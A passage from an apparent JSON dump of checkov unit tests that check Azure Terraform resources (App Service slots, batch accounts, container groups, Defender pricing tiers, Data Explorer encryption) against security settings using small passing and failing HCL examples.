    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceSkuMinimum import check\n\n\nclass TestAppServiceSkuMinimum(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceSkuMinimum\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_service_plan.pass',\n        }\n        failing_resources = {\n            'azurerm_service_plan.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceSlotDebugDisabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AppServiceSlotDebugDisabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAppServiceSlotDebugDisabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceSlotDebugDisabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_app_service_slot.pass\",\n            \"azurerm_app_service_slot.pass2\",\n        }\n        failing_resources = {\n            \"azurerm_app_service_slot.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 6)  # 3 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceSlotHTTPSOnly.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AppServiceSlotHTTPSOnly import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAppServiceSlotHTTPSOnly(unittest.TestCase):\n\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceSlotHTTPSOnly\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_app_service_slot.pass\",\n            \"azurerm_linux_web_app_slot.pass\",\n            \"azurerm_windows_web_app_slot.pass\",\n        }\n        failing_resources = {\n            \"azurerm_app_service_slot.fail\",\n            \"azurerm_app_service_slot.fail2\",\n            \"azurerm_linux_web_app_slot.fail\",\n            \"azurerm_windows_web_app_slot.fail\",\n        }\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceSlotMinTLSVersion.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AppServiceSlotMinTLS import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAppServiceSlotMinTLS(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceSlotMinTLS\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_app_service_slot.pass\",\n            \"azurerm_app_service_slot.pass2\",\n            \"azurerm_app_service_slot.pass3\",\n        }\n        failing_resources = {\n            \"azurerm_app_service_slot.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 7)  # 3 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AppServiceUsedAzureFiles.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AppServiceUsedAzureFiles import check\n\n\nclass TestAppServiceUsedAzureFiles(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AppServiceUsedAzureFiles\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_app_service.pass',\n            'azurerm_windows_web_app.pass',\n            'azurerm_linux_web_app.pass',\n        }\n        failing_resources = {\n            'azurerm_app_service.fail',\n            'azurerm_app_service.fail2',\n            'azurerm_windows_web_app.fail',\n            'azurerm_linux_web_app.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AutomationEncrypted.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AutomationEncrypted import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAutomationEncrypted(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                        resource \"azurerm_automation_variable_string\" \"example\" {\n                          name                    = \"tfex-example-var\"\n                          resource_group_name     = azurerm_resource_group.example.name\n                          automation_account_name = azurerm_automation_account.example.name\n                          value                   = \"Hello, Terraform Basic Test.\"\n                          encrypted               = false\n                        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_automation_variable_string']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_no_param(self):\n        hcl_res = hcl2.loads(\"\"\"\n                        resource \"azurerm_automation_variable_datetime\" \"example\" {\n                          name                    = \"tfex-example-var\"\n                          resource_group_name     = azurerm_resource_group.example.name\n                          automation_account_name = azurerm_automation_account.example.name\n                          value                   = \"Hello, Terraform Basic Test.\"\n                        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_automation_variable_datetime']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                        resource \"azurerm_automation_variable_int\" \"example\" {\n                          name                    = \"tfex-example-var\"\n                          resource_group_name     = azurerm_resource_group.example.name\n                          automation_account_name = azurerm_automation_account.example.name\n                          value                   = \"Hello, Terraform Basic Test.\"\n                          encrypted               = true\n                        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_automation_variable_int']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureBatchAccountEndpointAccessDefaultAction.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AzureBatchAccountEndpointAccessDefaultAction import check\nfrom tests.common.check_assertion_utils import checks_report_assertions\n\n\nclass TestAzureBatchAccountEndpointAccessDefaultAction(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n\n        test_files_dir = Path(__file__).parent / \"example_AzureBatchAccountEndpointAccessDefaultAction\"\n        report = runner.run(root_folder=str(test_files_dir),\n                            runner_filter=RunnerFilter(checks=[check.id]))\n\n        passing_resources = {\n            'azurerm_batch_account.pass_no_publicNetworkAccess',\n            'azurerm_batch_account.pass_publicNetworkAccess_disabled',\n            'azurerm_batch_account.pass_publicNetworkAccess_enabled_no_network_profile',\n            'azurerm_batch_account.pass_publicNetworkAccess_enabled_no_account_access',\n            'azurerm_batch_account.pass_publicNetworkAccess_enabled_default_action_deny',\n\n        }\n        failing_resources = {\n            'azurerm_batch_account.fail_publicNetworkAccess_enabled_default_action_allow',\n            'azurerm_batch_account.fail_bad_default_action_no_public_network',\n        }\n\n        # then\n        checks_report_assertions(self, report, passing_resources, failing_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureBatchAccountUsesKeyVaultEncryption.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AzureBatchAccountUsesKeyVaultEncryption import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAzureBatchAccountUsesKeyVaultEncryption(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_batch_account\" \"example\" {\n              name                 = \"testbatchaccount\"\n              resource_group_name  = azurerm_resource_group.example.name\n              location             = azurerm_resource_group.example.location\n              pool_allocation_mode = \"BatchService\"\n              storage_account_id   = azurerm_storage_account.example.id\n            \n              tags = {\n                env = \"test\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_batch_account']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_batch_account\" \"example\" {\n              name                 = \"testbatchaccount\"\n              resource_group_name  = azurerm_resource_group.example.name\n              location             = azurerm_resource_group.example.location\n              pool_allocation_mode = \"BatchService\"\n              storage_account_id   = azurerm_storage_account.example.id\n              key_vault_reference {\n                id = \"test\"\n                url = \"https://test.com\"\n              }\n            \n              tags = {\n                env = \"test\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_batch_account']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureContainerGroupDeployedIntoVirtualNetwork.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AzureContainerGroupDeployedIntoVirtualNetwork import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAzureContainerGroupDeployedIntoVirtualNetwork(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AzureContainerGroupDeployedIntoVirtualNetwork\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_container_group.pass\",\n        }\n        failing_resources = {\n            \"azurerm_container_group.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureContainerInstanceEnvVarSecureValueType.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AzureContainerInstanceEnvVarSecureValueType import check\n\n\nclass TestAzureContainerInstanceEnvVarSecureValueType(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AzureContainerInstanceEnvVarSecureValueType\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_container_group.pass_1',\n            'azurerm_container_group.pass_2',\n        }\n        failing_resources = {\n            'azurerm_container_group.fail_1',\n            'azurerm_container_group.fail_2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureContainerInstancePublicIPAddressType.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AzureContainerInstancePublicIPAddressType import check\n\n\nclass TestAzureContainerInstancePublicIPAddressType(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AzureContainerInstancePublicIPAddressType\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_container_group.pass',\n        }\n        failing_resources = {\n            'azurerm_container_group.fail_notset',\n            'azurerm_container_group.fail_public',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureDataExplorerDoubleEncryptionEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AzureDataExplorerDoubleEncryptionEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAzureDataExplorerDoubleEncryptionEnabled(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_kusto_cluster\" \"example\" {\n              name                = \"kustocluster\"\n              location            = azurerm_resource_group.rg.location\n              resource_group_name = azurerm_resource_group.rg.name\n            \n              sku {\n                name     = \"Standard_D13_v2\"\n                capacity = 2\n              }\n            \n              tags = {\n                Environment = \"Production\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kusto_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_kusto_cluster\" \"example\" {\n                  name                = \"kustocluster\"\n                  location            = azurerm_resource_group.rg.location\n                  resource_group_name = azurerm_resource_group.rg.name\n                  double_encryption_enabled = false\n                \n                  sku {\n                    name     = \"Standard_D13_v2\"\n                    capacity = 2\n                  }\n                \n                  tags = {\n                    Environment = \"Production\"\n                  }\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kusto_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_kusto_cluster\" \"example\" {\n                  name                = \"kustocluster\"\n                  location            = azurerm_resource_group.rg.location\n                  resource_group_name = azurerm_resource_group.rg.name\n\n                  sku {\n                    name     = \"Standard_D13_v2\"\n                    capacity = 2\n                  }\n                  \n                  double_encryption_enabled = true\n\n                  tags = {\n                    Environment = \"Production\"\n                  }\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_kusto_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureDefenderDisabledForResManager.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.AzureDefenderDisabledForResManager import check\n\n\nclass TestAzureDefenderDisabledForResManager(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AzureDefenderDisabledForResManager\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_security_center_subscription_pricing.pass_1',\n            'azurerm_security_center_subscription_pricing.pass_2',\n            'azurerm_security_center_subscription_pricing.pass_3',\n        }\n        failing_resources = {\n            'azurerm_security_center_subscription_pricing.fail_1',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureDefenderOnAppServices.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AzureDefenderOnAppServices import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAzureDefenderOnAppServices(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Free\"\n                  resource_type = \"AppServices\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Standard\"\n                  resource_type = \"AppServices\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureDefenderOnContainerRegistry.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AzureDefenderOnContainerRegistry import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAzureDefenderOnContainerRegistry(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Free\"\n                  resource_type = \"ContainerRegistry\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Standard\"\n                  resource_type = \"ContainerRegistry\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureDefenderOnKeyVaults.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AzureDefenderOnKeyVaults import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAzureDefenderOnKeyVaults(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Free\"\n                  resource_type = \"KeyVaults\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Standard\"\n                  resource_type = \"KeyVaults\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureDefenderOnKubernetes.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AzureDefenderOnKubernetes import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAzureDefenderOnKubernetes(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Free\"\n                  resource_type = \"KubernetesService\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Standard\"\n                  resource_type = \"KubernetesService\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureDefenderOnServers.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AzureDefenderOnServers import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAzureDefenderOnServers(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Free\"\n                  resource_type = \"VirtualMachines\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Standard\"\n                  resource_type = \"VirtualMachines\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureDefenderOnSqlServers.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AzureDefenderOnSqlServers import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAzureDefenderOnSqlServers(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Free\"\n                  resource_type = \"SqlServers\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Standard\"\n                  resource_type = \"SqlServers\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureDefenderOnSqlServersVMS.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AzureDefenderOnSqlServerVMS import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAzureDefenderOnSqlServersVMS(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Free\"\n                  resource_type = \"SqlServerVirtualMachines\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Standard\"\n                  resource_type = \"SqlServerVirtualMachines\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureDefenderOnStorage.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.AzureDefenderOnStorage import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestAzureDefenderOnStorage(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Free\"\n                  resource_type = \"StorageAccounts\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_security_center_subscription_pricing\" \"example\" {\n                  tier          = \"Standard\"\n                  resource_type = \"StorageAccounts\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_security_center_subscription_pricing']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AzureFirewallDefinesPolicy.py",
